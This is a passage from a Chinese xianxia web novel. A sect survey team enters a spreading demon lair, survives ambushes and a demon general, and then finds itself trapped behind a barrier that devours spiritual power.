鉴于这个特征,战场上常常将刚驱逐完魔物的修士全身灵力抽调至空,时刻派人监督此修士维持灵力空荡状态三天,确认其未沦为高等魔物。
这是最稳妥的方式,但很麻烦,在现实中很多时候也不切实际,所以别的检测方式也有很多,比如使用验魔石、用观灵术仔细查看等等,但这些方式都有漏洞可钻,远不如抽调灵力隔绝三天。
金丹修士还在继续叙述情况,“从远石镇过来的修士也会先在那个村落里待三天,其实最近远石镇过来的修士和凡人都不怎么多了,上个星期迁徙过来的才多哩,一批又一批,审查到镇主都不让进了,说是要统筹等镇中一批人出去了再继续检查放进来。”
“估计远石镇前边的矿韵镇已经彻底沦陷,不然远石镇也不会全面戒严甚至向我们借人手了。不仅仅是前边的远石镇,旁边还有一些镇也早就向城主府请调人手了,不止在这处,跟旁边几个镇的交界处我们也是防备着的。”
一行人又问了几个问题,这位金丹修士都做了详细地回答,最终打开法宝屏障送离他们的时候,重重地叹了口气,“我知道,你们先前什么即刻回宗门请求支援的话是为了套出这边的情形,虽然我知道的实在不多,也不能论断说绝对到了值得你们回玄天宗搬救兵的程度,但是我真心觉得,真的很危急。”
“不敢奢望你们迅速折返,只是劳烦你们,行动抓紧一些,哪怕多争取援助早来一刻钟都是好的;城主府那边已经是完全借不出人手,镇上的人员调动也很艰难,毕竟这是关乎性命的事,很多人都想方设法带着亲族往外逃,我们这点留下来守卫究竟能撑多久也不知道。”
*
金丹修士的话语很真诚,也不免给进入远石镇后飞行法器上的部分人带来影响。
张苔就是其一,她有些忧心忡忡,“其实一开始这个任务只过来六个人我就有点疑虑。”
寒矿镇之所以被称为寒矿镇,跟镇子里盛产“寒石”有关。
寒石是一种灵材,可作为器师、丹师的锻造炼药炼器所用鼎炉的材料,由此寒矿镇在中州所有乡镇中,算是比较繁华的,这里的修士相比于别的镇自然也就数量更多、实力更强。
这样的一个镇子,都能沦为魔窟,张苔认为,这魔窟里的魔物,实力绝对是极为强劲的!而那些本就素质高于其余镇的修士,肯定也有部分沦为魔物,为魔窟的恐怖程度雪上加霜。
“大姐,这是侦测任务,不是清剿任务,人要那么多做什么?”
叶明堂倒是仍旧不怎么放在心上,“反正我是觉得没什么,我做的侦测任务多了去了,这些魔窟附近区域的修士一直处于紧绷状态,基本上我碰到过的每个修士都是他那样风声鹤唳。”
这些话也正是当初张苔放下疑虑的原因,可而今,探查到的情况让她不得不多想。
“你们感受到了吗?这条干道两侧的住民呢?甚至我神识再往支路延伸到里边的村庄,都没找到一个活人。”
若是这种景象出现在与寒矿镇毗邻的矿韵镇,张苔丝毫不会觉得有什么问题。
毕竟魔窟都成魔窟了,魔物随时随地都可从中出来,往任意一个方向而去,故而魔窟周围临近的那个镇上,没有丝毫修为依仗的凡人们,基本上会全部搬空,只剩一些修为较高实力较强的修士在镇子入口留守阻拦。
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但这可是距离寒矿镇隔了一个矿韵镇的远石镇,怎么会没人呢?
队长冯阳感知到这种情况也是直皱眉,不过身为队长,他出口话必不能是消极的、可能引发队员恐慌的。
“刚出来镇上留守的那位金丹道友不也说,最近几日迁往他们那镇的人变少,想来是,此镇全面进入抗魔状态,将剩下的人员都集中到一起了。”
“先别急着恐吓自己,我们再往前行进一段距离看看。”
然后这一往前,就直接穿过了整个远石镇,抵达矿韵镇和远石镇交界处的时候,还可以依稀看到过去一些驻守抵御的痕迹,诸如燃烧后的阵盘符箓灰烬、丹药瓶、法宝自爆后的碎片。
眼前的情况基本上已经说明远石镇已经失守了,远石镇从前最繁华的一条主干道附近不再有活人存在,至于远石镇深入偏僻些的一些村落如何,由于金丹期修士神识覆盖的范围有限,大家也不得而知。
张苔看向队伍中的孙元和叶明堂,两人没什么表示,往前接着前往矿韵镇,继而抵达侦测魔窟的意思很明显。
于是她又转头将视线落到队长冯阳身上,这位队长此刻也是紧锁眉头,显得十分纠结。
张苔很能理解这种纠结踟蹰,玄天宗辖下乡镇数以万计,这些年来侦测任务更是有不知凡几,而她听到的做到半途而归,缘由在于自身应对不了的情况少之又少。
就算事态紧急,他们这些做侦测任务的,至少也得摸清楚魔窟之主的高等魔物是什么级别,魔窟中的虾兵蟹将多在什么级别,魔窟中的魔物分布如何。
然而现在他们连一只魔物都没碰到过,相当于任务进程一片空白,回去之后,别说克扣掉这次任务的奖赏,恐怕还要让他们赔付灵石。
尤其是身为队长的冯阳,赔偿恐怕更多。
作为修士,修行哪有不耗费资源的,他们这种底层上来的修士,没有亲族作为支撑,大部分都捉襟见肘。
这么一想,张苔退却的心思瞬间荡然无存,前方再怎么未知危险,起码一百件宗门任务里才有一件存在修士死亡的现象,撑死多受点伤,多将她的修炼资源多耗费一些,而这些在任务完成后的丰厚奖励面前不值一提。
百分之一的概率,她们队伍应该不至于如此倒霉?
其余那些尤有顾虑的队友可能也是想到了这点,故而整个飞行法器一直疾行到抵临矿韵镇后,也没谁站出来多说什么。
5. 遭袭
进入矿韵镇后,行驶显然不如在远石镇顺利,毕竟远石镇又无凡人又无魔物。
而刚进入矿韵镇不久,就有一大批形态各异的低等魔物撞上了飞行法器。
低等魔物,实力由相应滋生催生剥离它们的高等魔物和低等魔物决定,没有灵智,只会疯狂游荡寻找生灵汲取对方的精元。
它们形态各异,血尸、鬼火、蝙蝠、没有实体的朦胧黑雾、体表覆盖着湿滑黏液的巨大蠕虫、双目空洞的扭曲人形、半人半兽缭绕着黑气的怪物等等。
飞行法器上的诸位修士早有准备,蓄积着的灵力调动,各色术法剑气密集如雨点般砸下,大片光芒流泻炫目,很快就将这批低等魔物清理干净。
随即叶明堂毫不客气赶人,他的飞行法器可不是队伍公用的防御法器,到时候找器师的修理费也不是一笔小数目。
而且也只有下了飞行法器,才能充分施展开他金丹后期的实力,在某些人面前秀上一把。
对此众人也没什么异议,主要是现在已经接近魔窟,侦测任务侦测任务,重在侦测二字,魔窟附近魔物实力也包含在侦测范围之内。
况且在飞行法器上距离魔物一段距离也确实不好发挥,可能浪费灵力,有时候一个近攻简单招式术法能够干掉的情况由于飞行法器的限制偏要进行更换。
再则就是飞行法器在高空那么大一块很是瞩目,越靠近魔窟越像个暴露给高级魔物的靶子。
队长冯阳先行跃下,警惕用神识扫过四周,握着梭形法器的手紧了紧。
紧接着下来的就是手里捧着探魔石的黎秀梅,探魔石是领取任务时发放给队伍的灵具,能提前预警附近有与实力强大魔物。
这灵具回宗门结算任务的时候还得还回去,除却预警,探魔石还具备留影功能,记录整个队伍履行任务期间所有人员的举动。
出于黎秀梅在队伍中修为最低,实力最低还没什么防御法宝的缘故,算得上是队伍要保护的对象,所以带着探魔石,并时刻提醒其余队友的任务就交给了她。
整支队伍在镇上的主干道上徒步推进,队长冯阳打头,没多久,叶明堂见着这蜗牛一样的速度,实在看不下去队伍里某些人的小心翼翼。
他转头对孙元道,“咱两到前头去?”
孙元周身环绕着一个小型符阵,一眼扫去,品阶还不低,四阶的防御类符箓玄甲符、灵璧符不下十张,用于进攻的千刃符、焚天符也有四阶十几张,最为夸张的是,张苔还看到一张六阶的镇魔符。
这一套下来,没十块上品灵石绝对拿不到。
如此奢侈意味着的就是绝对安全,故而孙元无可无不可,便和叶明堂一块走到了队伍最前方。
冯阳对此也不觉得冒犯,人家愿意开道,他也乐得轻松,同时还朝着孙元靠近了些,无它,这符阵看着实在让人觉得安心呐!
余光扫到缀在队伍末尾的张苔,喊了声,“张师妹,速度快点跟紧点,别和队伍走散了。”
张苔含糊应了声,看着前方聚在一起提速的五人有些无奈。
不知道为什么,她就是心底格外慌,特别想转身拔腿就跑,尽管神识并没传来什么预警,黎秀梅手中的探魔石也没什么变化。
深呼吸让自己冷静下来,倘若事态极其严重,这次侦测任务属于超出宗门把控范围,会引发任务人员死亡的那一类,恐怕她现在独自撤离也无济于事,还不如跟着队伍一起行动生还几率大一些。
正说服着自己,张苔却感知到一股阴冷无声无息缠上了她的脚踝,仿佛有着一条细小的冰蛇顺着肌肤攀爬而上。
她吓得一个激灵,双手飞快结印,周身灵气被她带得澎湃蒸腾而起。
紧接着,一股浩瀚紧实的灵力有如洪流从她体内喷薄而出,伴随着混杂尖利的声音,一道扭曲的黑影被她从脚底震飞而去。
那黑影也知自己不敌,黑色的线条延长着想奔逃。
张苔虚虚一握,地面泥土翻卷,犹如滔天巨浪般猛地一扑,将黑影吞没带入地底。
整个变故从发生到被解决,悉数在电光火石之间,等前方回头的几位队友听到动静回头,只来得及看到被被卷入地底的而逸散的黑气。
不过这种地方产生动静能发生什么好事?
冯阳忙朝她赶来,用观灵术细细查看一番后,询问她还好吧。
用清洁术抹掉背后冷汗,张苔摩挲着收回的法器木如意,上面赫然出现了一条裂纹。
“我没事,但也不轻松,刚刚是一只金丹后期魔卫等级的高级魔物!”
黎秀梅发出一声惊呼,“金丹后期魔卫?!”
这魔物可是比张苔修为高了一个小境界,如若刚才张苔有个疏忽让其附身,成功施展邪功吞元是有一定几率的。
“大家别紧张,我刚才细细观察过了,张师妹未曾魔化,吞元也不可能在这么短时间内完成。”眼见着队伍中有人要暴起,冯阳赶紧阐明事实。
冯阳一番话迅速安稳下慌乱的队伍。
但不少人的神情变得有些微妙,既然张苔还是那个张苔,那刚才袭击的魔物真的有金丹后期吗?
一般而言,同等修为状况下的高等魔物,攻击力要比修士强上一些,而张苔动手解决起来却极为迅速利落。
叶明堂直接对张苔的话表示怀疑,“张苔,你说谎了吧!魔窟外边的一只游荡散魔,怎么可能会有魔卫级别?还是金丹后期的魔卫级别,那魔窟中的魔卫魔将岂不遍地走了?人族领地内这种魔窟出现的概率极其之低!”
“要是暗处袭击你的是金丹后期魔卫,你能有这么轻松?你命还在这里?”
听了这番话,张苔简直要气到呕血。
遭此横祸,她身上最好的法器,中等灵器,般若青木如意,都有了损毁,要知道她就是个穷法修,作战时使用的法器根本没得挑,以前基本上都是得到什么法器就用什么法器,且得到的品阶都很低。
修仙界的法器有先天和人炼两种,先天即法宝,而人炼即器师炼制的法器又能分为宝器、灵器、仙器、神器,四个品级,前三品级又分下等、中等、上等三种,神器不分级别,没有下等的神器,只有不会发挥神器效用的修士。
上等灵器不至于稀少,但是价值高昂,有些甚至有价无市。
毕竟它的上边可是仙器,仙器是什么级别?整个玄天宗的长老级别的修士中,手中才会有几件,至于神器,这种只存在于概念,绝大多数修士一辈子都无法得见的级别,就先别论了。
总而言之,中等灵器,已然是普通修士作为武器里,一个很好很好的选择了。
几十年好不容易攒了一点家当,才去找同门器师聚集的天工峰师兄打造了这么一把适合自己的中等灵器作为武器,之后去修的话,还不知道要如何破费。
她心碎着将现实情况如实说了,面对的却是质疑,更过分的是叶明堂这厮居然还咒她死,嘴巴不会说话可以捐给有需要的人!
忍了又忍,她才没有出口阴阳怪气,只是淡淡道,“随便了,你们爱信不信。”
探魔石没反应,队伍中大部分人看向自己的目光存疑,她受不了费心费力自证的憋屈。
横竖整支队伍还会往前行进,照她看来,后续类似的魔物可不会少,这些事实自会为她证明。
冯阳倒是想再多问一些了解情况,便又开始做起了和事佬。
张苔只是觉得可笑,这些话怎么不在众人神情有变时说?怎么不在叶明堂诘问自己之前说?她都已经被钉在“欲图表现自己的谎话精”耻辱柱上了,现在还要假惺惺地站个中立,容她伸冤?
于是她拒绝沟通,“大家这种谨慎程度不会不慎着道,再者我说什么也不可能就此折返,到底什么情况之后路上就能亲眼见到知晓了。”
张苔不配合,冯阳也没办法,可以说自从尝试在宗门任务里担任队长以来,这是他带过的最糟心的队伍。
孙元和叶明堂两个二世祖压根不听他的调遣又得罪不起;杜伍则完全是个蒙混过任务的混子模样,学着孙元秉持着对任务漠不关心的态度;张苔则是个若即若离的封筒炮仗;就一个黎秀梅能用但实力太低微了。
按压着起跳的太阳穴,冯阳道,“这次记得跟紧队伍,估计刚才那魔物对你下手就是因为你落单。”
“嗯,知道了,多谢冯队长提点。”
张苔这次不用他多说都会死命跟紧队伍。
关于这个魔窟,她心底已然有了些许看法。
刚才她经历的情况,要么只是她个人运气不好恰巧碰上一只金丹后期魔卫而已,魔窟中最多存在的还是魔卒魔使,魔卫很少见,最大的祸害魔窟之主也就魔将层级。
当高级魔物通过吞元进阶到元婴修为抑或元婴修士魔化为高级魔物,便都在魔将范畴,实力比队伍高一个大境界。
但侦测任务又不是除掉魔窟之主,只需进行整个范围的侦测而已,完成任务不成问题,就算是实力强横一点的已达元婴大圆满的魔将
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,可能侦测途中会伤筋动骨,但大家保命还是没问题。
人族地界大部分魔窟之主大多也就魔将这个实力,前沿抗魔战场守备森严,更强层级的高级魔物是潜伏不进来的。
好不容易进来了,也会被大宗门的大能发现,然后出山剿灭。
张苔认为这种情形的概率比较低,最直观的原因在探魔石。
金丹后期魔卫虽不值得探魔石大放光芒,但一丝丝微光,这种细弱反应总归还是要有吧?
毕竟队伍最高修为也就金丹后期,且金丹后期魔卫在寻常魔窟中算得上比较少见的,她以前经历的侦测任务,附近有金丹后期魔卫靠近也会有一点微弱反应的。
所以,更大的可能,是他们这支队伍倒了血霉,进入的这个魔窟非比寻常,魔窟之主更是极其难遇的魔王层级。
且魔窟已经从寒矿镇扩张覆盖到了矿韵镇,他们现在是在魔窟里,是有可能碰上在魔窟外围游走着的,他们避之不及、在以往侦测任务里只要绕离魔窟中心便不会遇见的、为保持王座位置时不时释放威压远远进而可感知到的、最方便的是可以用探魔石感知进而直接规避的,魔将层级魔物。
而如今,探魔石失去效用,魔将只是魔窟之主的小喽喽,更不必时刻释放威压威吓其余高级魔物,说不准他们这支队伍再倒霉一点,冷不丁就遇到了。
她是最先认清事实并有了准备的,之后如果万一碰上魔将了,只要还有没意识到这点的队友,就能垫背让她成功逃掉。
随着继续往矿韵镇深入,魔物出现的概率愈发频繁,与一般的魔窟,外围多是些不过炼气期就魔化了,并且一直得不到实力提升的魔卒,以及少量实力在筑基范围的魔使不同。
此处,最常见的是魔使,就连魔卫也不少。
高等魔物实力的提升,同时还带动着祂们滋生出来的低等魔物实力增强,别的队友张苔不知道,反正她自己要留存足够的灵力用于逃跑,所以在有所保留的情况下杀起来还是比较棘手的。
堪堪一个时辰,在与其他队友的合力之下,她两个猎魔任务击杀二十只魔卫级别的魔物就完成了一半。
其实她接魔卫级别的猎魔任务也是讨巧,尽管她的实战能力在同阶中算是出色,碰上金丹后期的魔卫吃力一些倒是可以反杀,但碰上金丹大圆满巅峰的魔物,照样只有逃跑的份。
可任务只说猎杀十个魔卫级别的高级魔卫,她猎杀金丹初期的魔卫,也是魔卫啊。
碰到的这十只魔卫,也是巧了,九只全在金丹初期,只一只在金丹中期。
又是分别遇到单个的,让张苔一人解决都绰绰有余,何况他们队伍中还有另外几个修为实力不比她弱的。
故而这一路倒是还算风平浪静。
叶明堂冷嗤一声,“我说张苔,你当初是不是神识感知错了,暗处袭击你的恐怕也就是只金丹初期魔卫吧。我承认这个魔窟比一般的魔窟是要危险些,但也最多如此了。”
“估计魔窟之主约莫是个元婴大圆满的魔将,到时候进入魔窟区域,咱们隐匿着绕着最外边走一圈的时候或许会碰上一些金丹后期至金丹大圆满的魔卫,其实只要你们隐匿得好,也不会被发觉。
但到底怕你们出乱子,待会儿你们就别进寒矿镇了,就在矿韵镇待着,我跟冯阳在寒矿镇外围绕一圈就......”
张苔仍旧谨慎放出神识探查四周作为预警,纯当有蚊子在耳边嗡鸣。
倏地,识海震颤,太阳穴针扎般的刺痛完全掩盖过这阵嗡鸣。
不敢有丝毫耽搁,几乎是下意识的,身形一拔如箭,飞速逃遁远去。
往身上加了几重隐匿术,见距离差不多了,跃入一处半人高的草丛,又用幻术作用于己身融于周围环境。
在草丛中,她屏息隐匿类术法运用到极限,半分不敢动弹,连眼睛都不眨一下。
就在她藏匿好的瞬间,她看到有两道人影从前边窜过,速度快的无法从残影中辨认出是谁。
隐隐约约,张苔感知到先前那处传来动静,还有求救的痛呼。
即使是隔了一段距离了,她都能感受到那强烈沉重的威压。
张苔对此爱莫能助,便是她自己,都只能自求多福,寄希望于,那魔物要么是魔王级别滋生的低等魔物,要么是差不多已经灵智尽失的高等魔物,总而言之,对方虽有魔将级别的实力,但是个没脑子的东西。
否则自己这个粗糙拙劣的藏匿办法,能不能躲过一劫要两说。
6. 魔窟
在草丛中焦躁地等待着,之前出现强大魔物地方的响动居然一直持续着还未停歇。
先前那道呼救声是戛然而止,那边究竟发生了什么实在难以猜测。
反正无论那魔物最先锁定的是哪个倒霉蛋动手,张苔认为在不远处藏匿活下来的几率还要大一些。
在她的设想里,魔物吞元灰飞掉那个倒霉蛋后,应该会追过来,然后跟着前头跑远的两个身影而去。
但显然,而今她的预估没有复现,再加上那边一直传来动荡,让她实在心痒。
这样强大的威压,可见那魔物的实力,队伍中居然还有能够与之匹敌的?
念及如果那魔物还留有神志,躲在这里和躲在离离事发现场再近一些差别不大。
于是她又小心翼翼往动静传来方向移动了一段距离。
修士耳聪目明,看得也更远,转过一个方向之后,张苔遥遥看到一个境界起码在元婴中期的黑衣傀儡人,与那魔将战作一团。
溢出的强大气劲波动,狂风骤雨一般缭绕在两个存在的周围。
然而最让张苔震惊的是,孙元此刻宛如一尾灵活的鱼,握剑游走在激战双方边缘,时不时斩出一道剑气影响战局,丝毫看不到威压施加在她身上的影响。
而离战局远远的还有两人,躺在地上的叶明堂肋下被粗略包扎了一下,浑身上下血迹斑斑。
以及站在叶明堂身侧凝聚灵气罩,避免被对战余波影响的黎秀梅。
了解到第一个被魔物攻击的倒霉蛋是叶明堂,张苔既惊讶又快慰。
将整个局面大致目睹了解过后,张苔的目光再度落在魔物身上。
魔物的人形还在那里,也还会使用自己的锤类攻击法器,就是不修边幅,身上法衣早就脏污破烂得不成样子,头发缠绕蓬开着,面部两边以及粗壮的腿肢被黑色鳞片覆盖,手也成爪状,显然是已经灵智尽失的魔化后的元婴中期修士。
也得亏是彻底丧失灵智,否则一个同等修为的傀儡人及金丹初期修士完全无法维持住这个局面。
一般而言,同等修为状况下的高等魔物,攻击力要比修士强上一些。
但如果高等魔物神智彻底不清醒,这一优势便荡然无存。
修士魔化为高等魔物,起先还是能保持自己的意识,但渐渐地,理智会一点点被淹没,高等魔物失去理智后,和他们每隔一段时间自动剥离出来的低级魔物无异,只有弑杀、好战、吞食修士凡人生元的本能。
这种状态下的它们,打斗之中,心中无计较和战术,各种作为修士之时,苦心磨砺出来的功法招式,不再有发挥展示出来的机会。
与之对敌的修士,只要修为没有相差很多,在抵挡住攻击一段时间后,总能找准空隙弱点,一击杀之。
所以孙元在与傀儡人纠缠的魔将周围游走,多半是在寻找这样一个机会。
仿佛是为论证张苔所想,傀儡人的铁拳轰然砸中魔物肩胛,咔嚓一声,骨裂声如寂静幽林中的枯枝折断般格外清晰,魔物因着这力道,被迫仰头往后踉跄,脖颈与下颌拉成一条紧绷的线。
孙元足尖轻点,从侧边飘然而起,念着剑诀,手握蓄积磅礴灵力的法剑对准魔物脖颈重重砍下!
沉重的闷响过后,魔物的脑袋落地,黑色如墨的不知名东西喷出。
孙元疾退,落地时单膝跪地,剑身横举,将淅淅沥沥的魔血阻拦。
整场交锋下来,她身上愣是没溅到半点魔血。
将这些悉数目睹的张苔,看向孙元的目光多了几分审视。
如此磅礴精纯的灵力、灵敏的身手,这个人真的只有她所报出来的金丹初期修为吗?可是展露出来的气息又是金丹初期。
不知不觉中她一边抵御着激战的余波,一边来到了另外两位队友身边。
此刻更是顾及不上之前跟黎秀梅的恩恩怨怨了,很是不能理解不能接受地发问,“这是金丹初期修士能够拥有的灵力?金丹初期修士能够砥砺磨炼到的实战能力?直接跃一个大境界斩杀魔物是个人能够做到的?”
黎秀梅闻言白了张苔一眼,“你也别看看人家孙元的出身,那可是一座仙城的第一世家,这种修二代的金丹初期能跟我们这种草根金丹初期一样吗?”
随即又啐了她一口,“你这个坏心肠的,早就对那魔物的出现有所预料是不是?居然不提前警示,想拿我们垫背?没想到吧,咱们队伍里出了个能人!”
“待会儿等队长回来一起找你算账削你!”
这话张苔可不能认,尽管她确实是这么做的。
她满脸无辜,“你太高看我了,我又不能未卜先知,只是我这人格外惜命,再加上先前遇到过个金丹后期魔卫,有些草木皆兵,但凡有点变故,哪怕突袭出来的只是个金丹中期魔卫,我都会跟个惊弓之鸟一样赶紧跑。”
“只是没想到这么凑巧,暗处的魔物居然是魔将层级。”
而且后边遇上的魔物比寻常魔窟难对付多了,自己有脑子,不自欺欺人,该有的警醒就不会少,没看见冯阳和杜伍两人撤离的压根不比她慢多少。
至于等冯阳过来,恐怕他早认为队友没剩几个。
“队长他们恐怕早就撤走不会再折返到这边来了,我建议咱们现在也赶紧撤,毕竟这里这么大动静,保不准又会吸引一些很厉害的魔物过来。”
涉及到后续行动,黎秀梅将目光移向孙元。
孙元也正在向她们这边走来,且满脸嫌恶地用凝水诀反复冲刷着法剑和缩小至巴掌大小的傀儡人。
见到还躺在地上的叶明堂,她皱了皱眉,“你们没给他喂丹药?”
张苔耸肩,“我储物法器里比我脸还干净,还等着完成这次任务后的奖励来填平我丹药上的空缺呢。”
虽然夸张了些,但她真穷,且叶明堂与她之前不对付,她就分文不掏。
黎秀梅则是直接红了眼眶,一副泫然欲泣的模样,“孙师姐,你也是看到的,当初叶师兄被那魔物针对,他居然想将我扯过去抵挡那致命一击,若不是那魔物看不上我,执意重创然后吞元叶师
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兄,我哪里还有命在。”
“我简直要恨死他了,为他进行简单的包扎也算是仁至义尽,但既然孙师姐发话了,我.....”
她哽咽着到底没将最后的话说下去,但手中还是出现了一个药瓶,倾倒拿出一枚丹药塞入叶明堂口中。
这一番举动看得张苔压根不知道怎么评价为好。
委实圆滑世故了些,这算是强行卖孙元一个人情?
也太不把自己的生死当做一回事了吧?反正这种事她是做不来,叶明堂要是这么对她,她没有落井下石把叶明堂杀了就不错了。
还有,她对这些修二代子弟观感一直不怎么样,她可不认为这些冷漠的上层修士会领这个情。
孙元对此确实也没什么特别的表示,神色依然寡淡,目光仅在地上的叶明堂身上转过一圈后,又看向张苔,“他人还要一会儿才醒,不等了,你将人扛起来,和黎秀梅一起跟紧我,绕一段路往远石镇撤离。”
*
折返的一路没再生什么波折,她们几个一路顺利地出了矿韵镇。
期间叶明堂也醒了过来,相比来时一路的欢蹦乱跳、急于表现,这一路倒是默然沉稳了不少。
然而就在矿韵镇和远石镇的交界处,没想到撞见了先前离去的冯阳和杜伍。
冯阳当然不会如先前黎秀梅所说质问张苔,他自个儿都先行逃了,而且事态已然如此,彼此相互责备埋怨毫无益处。
不过看得出来冯阳对于队伍未减损一员很是高兴,同时也是真的很疑惑她们这边发生了什么。
黎秀梅当即眉飞色舞地将孙元的剑斩魔将、力挽狂澜的事迹讲述了出来。
冯阳深深看了孙元一眼,随即便表达对孙元的钦佩和感激,最后神色变得凝重,“我们之所以出现在此处不是巧合,因为我估摸着你们折返必会经过这里。”
“有了适才的经历,想必大家也认识到此魔窟的不同寻常以及背后对整个修仙界的严峻性,认同应该迅速回到宗门。”
他顿了顿,面上浮现出无奈苦涩,“可是就在不久之前,我和杜伍发现,我们回不去了,远石镇中出现了阻拦我们的屏障。”
“哪怕我捏碎了一个传送点固定在咱们宗门附近的七阶传送阵盘,仅仅浮现了一下阵纹便没了后续!”
说到这里,冯阳眼角抽了抽,应该是在有些痛心那个没发挥效用的七阶阵盘,其实张苔光是听着就有些肉痛了,七阶阵盘呐!这显然是个压箱底的逃命底牌,结果用了还没起到效果。
“那屏障也格外诡异,在捏碎阵盘之前,我和杜伍瞄准一点全力进行攻击,然而所有灵力都被那屏障给吞噬。”
“依我之见,魔窟早就在不知不觉中扩张到了远石镇地界,且魔窟之主起码是高了队伍两个大境界的魔王层级,在祂的操纵下,此魔窟与寻常魔窟不同,有了实实在在的领域,只可进不可出。”
魔王对应着修士的出窍境界,出窍修士中确实有一些修炼出了领域。
“我们恐怕,出不去了。”
7. 魔窟(二)
冯阳的话落之后,整支队伍里一片沉默,反倒是叶明堂最先开了口,“我信,正是因为受到领域影响,所以探魔石才彻底不灵验了。”
而他就是太过相信探魔石,才被摆了一道。
众人看向黎秀梅,黎秀梅也反应过来将收起的探魔石拿出,任大家查看。
其实也不必验证了,这探魔石,在最先有金丹后期魔卫偷袭张苔的时候便没反应,在之后元婴中期魔将靠近时还没反应,不是坏了是什么?
想想冯阳的话,这魔窟出不去了,队伍中不禁有人打了个寒颤。
张苔早就有所心理准备,故而此刻算是队伍里较为冷静的人,“当务之急是在魔窟进行下一轮扩张前找到庇护点。”
末修时代,中州曾七度沦陷,而乱世中总有心怀悲悯的大能,看到尸骸遍野、魂哭千里,进而于心不忍,耗费大量神通灵力,单独开辟出一处区域,可以抵挡绝大多数魔物,给众多普通的修士凡人一处避风港。
玄天宗及其辖地,就在中州,而张苔他们要找的庇护点,就是这样一处避风港。
大约每两至三个镇就会有一个庇护点,过去的侦测任务,偶尔有任务侦测进度才完成一半,便感知到魔窟要进一步扩张的风声,她和队友们便会找到庇护点躲进去。
等扩张后魔窟重新平静,他们再将除了魔窟最中心的位置都侦测走过一遍之后,回归路上刻录魔窟情况于玉简之中,抵达宗门,将探魔石并几份玉简一并呈递到事务峰任务大殿指定执事弟子手中。
现如今,任务的事都放一边,只能在庇护点等宗门发现不对劲,将整个魔窟清剿后将他们救出来了。
张苔的话算是点醒了在场不少人,就在魔窟最外围待着,魔物稀少能够撑上一段时间,但绝不是长久之计。
冯阳也正是这个打算,只不过是现在队伍中他的话实在没什么力度,与其由他来提,不如让队员们自己本身便想如此。
先前说那些话,也不过引导着他们往这个方向思考。
他的目光看向孙元,全程从头到尾就她的神情没什么变化。
不曾想孙元还真不按照他引导的方向来。
孙元在众人殷切的目光中,只是看了看天色,然后道,“魔窟扩张往往都是挑在晚上,哪怕我们再怎么极其不幸,也还有大半天的时间,我想去看看那个屏障,你们自便。”
队伍中的最强战力如此说,而唯有待在最强战力身旁才更安心的大部分人也只好跟着孙元一起行动。
冯阳的脸色尤为勉强,还是黎秀梅给了个台阶,“先前途径远石镇,想来你们也无心探索,现在到屏障去,相当于咱们对庇护点从魔窟边缘找起,也不容易遗漏。”
这番话过后,冯阳的脸色倒是好看了些,一行人进入远石镇。
事实证明这屏障不愧为出窍修为魔王阶层的领域边界,孙元剑气横扫,宛如泥牛入海,且这还没完,孙元体内的灵力被牵引而出继续朝屏障汇聚。
原来冯阳所说的这屏障会吞噬灵力,不仅仅是吞噬术法或剑法攻击中蕴含的灵力,连施展者本身的灵力都不放过。
这灵力流失的速度非常之快,张苔本以为,当孙云身上的灵力被“抽干”之后,屏障的异动总归会平息了。
没料到,屏障无灵力可吸之后,竟延伸出触手般向孙元席卷而去。
孙元躲避不及,被裹挟着往屏障方向拖曳。
队伍中其余几人纷纷出手,然术法落在触手之上跟落在屏障之上无异,没入其中未起半点波澜。
千钧一发之际,孙元拿出一个玉瓶。
这瓶子光是出现,周围灵气就浓郁了一个度。
孙元手腕微扬,玉瓶中的灵液溅洒部分出来,随即封瓶掷出,仿佛可以预见不久之后装着灵液的玉瓶砸碎于地,灵液浸入土地。
被溅洒过灵液,紧紧缠绕着孙元的触手当即松开,改换目标,朝着玉瓶而去。
谁料半途杀出个程咬金,张苔更快一步在半空中劫走玉瓶。
玉瓶握于手,借着身法的余韵闪退至数丈之外,同时灵力破封,引了一股灵液入口咽下。
感知到身后劲风愈发尖啸,张苔转身再度封瓶,将玉瓶对准即将到面前的触手砸去。
触手卷着了玉瓶,便不再作妖,回归屏障,屏障恢复沉寂。
这边见危险已去的的张苔再也压制不住体内狂暴的灵力,当即打坐起来。
她早知道孙元这厮身上好东西多,没想到居然连万年玉髓都有,还身负整整一瓶!
万年玉髓是鼎灵时代天地灵气所凝的至纯灵液,色若冰晶透碧,灵性霸烈,清香沁脾。
那时候的修仙界灵气可不像而今这般稀薄,在一些洞天福地还是可以收集到万年玉髓的,听说修士吞服后如饮星河,磅礴灵气直冲丹田,涤荡经脉桎梏。
长期困于一境者,甚至能凭借其碎丹成婴,元婴化神。
张苔苦于金丹中期久矣,十几年毫无进益,见此机会,哪怕知道惊险万分,亦不愿错过。
庆幸她火中取栗成功了,此刻体内有一团浩瀚撑得经脉都有些发疼的灵力在流转,极其顺畅,贯通奇筋八脉,连带着经脉中其余灵力也如废水般翻滚,过去修炼中的一切阻塞似不再存在。
运转过不知多少周天之后,咔嚓,一声细不可闻的脆响如同天籁,张苔步入金丹后期,还未停歇,这股灵力仍在经脉中飞速流转,这个金丹后期算是稳固下来,不会轻易跌回金丹中期。
若不是时机不对,张苔还要继续打坐对修为进行彻底巩固夯实。
另一边,就在张苔开始进行打坐之时,不少队友都对这一操作看呆了。
冯阳也料到那玉瓶中装的,必不是凡品,也开始进行打坐,一边吸纳灵气一边神识了解周围情况。
只是他万万没想到,张苔仅吞了一口那灵液,便突破到跟他同境界。
之前还在心底认为此人太过疯狂,为了身外之物,差点被那玉瓶一块带走成为魔窟之主的点心——随便一猜也可知道,没入领域边界的屏障便消失,自然是到了魔窟之主那边。
另外让他觉得怪异的,在于那边的孙元。
孙元死里逃生之后,豪横拿出一颗六品补灵丹——要知道在珍宝
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阁或者坊市摊子上售卖的补灵丹都是最基础的一品,补灵丹都是恢复灵力所用,大部分修士用一品,她用六品,能不豪横吗?
拿出之后却未即刻服用打坐恢复,反而眉头紧锁,向来云淡风轻的脸上浮现出烦躁,他还隐隐听到一句呢喃,“感觉这地方不像,但强闯离开只会丧命,只希望没来错,就是在这里。”
什么叫地方不像了?孙元究竟想去的是哪?难道大家不都是来做侦测任务但倒霉的进入这样一个千年难遇的魔窟吗?
约莫一个时辰过去,万年玉髓带来的灵气浓度渐渐下去,大家也修整/修炼/突破的差不多,再拖下去,找寻庇护点的时间就不够了。
众人都交换了传讯符,于是分了三组,朝着三个方向分别开始搜寻。
如果都没收获,半个时辰后在远石镇和矿韵镇的交界处汇合,如果有所发现,彼此通过传讯符交流。
抓阄进行的分组,张苔和那个向来存在感不强的金丹中期的杜伍一组。
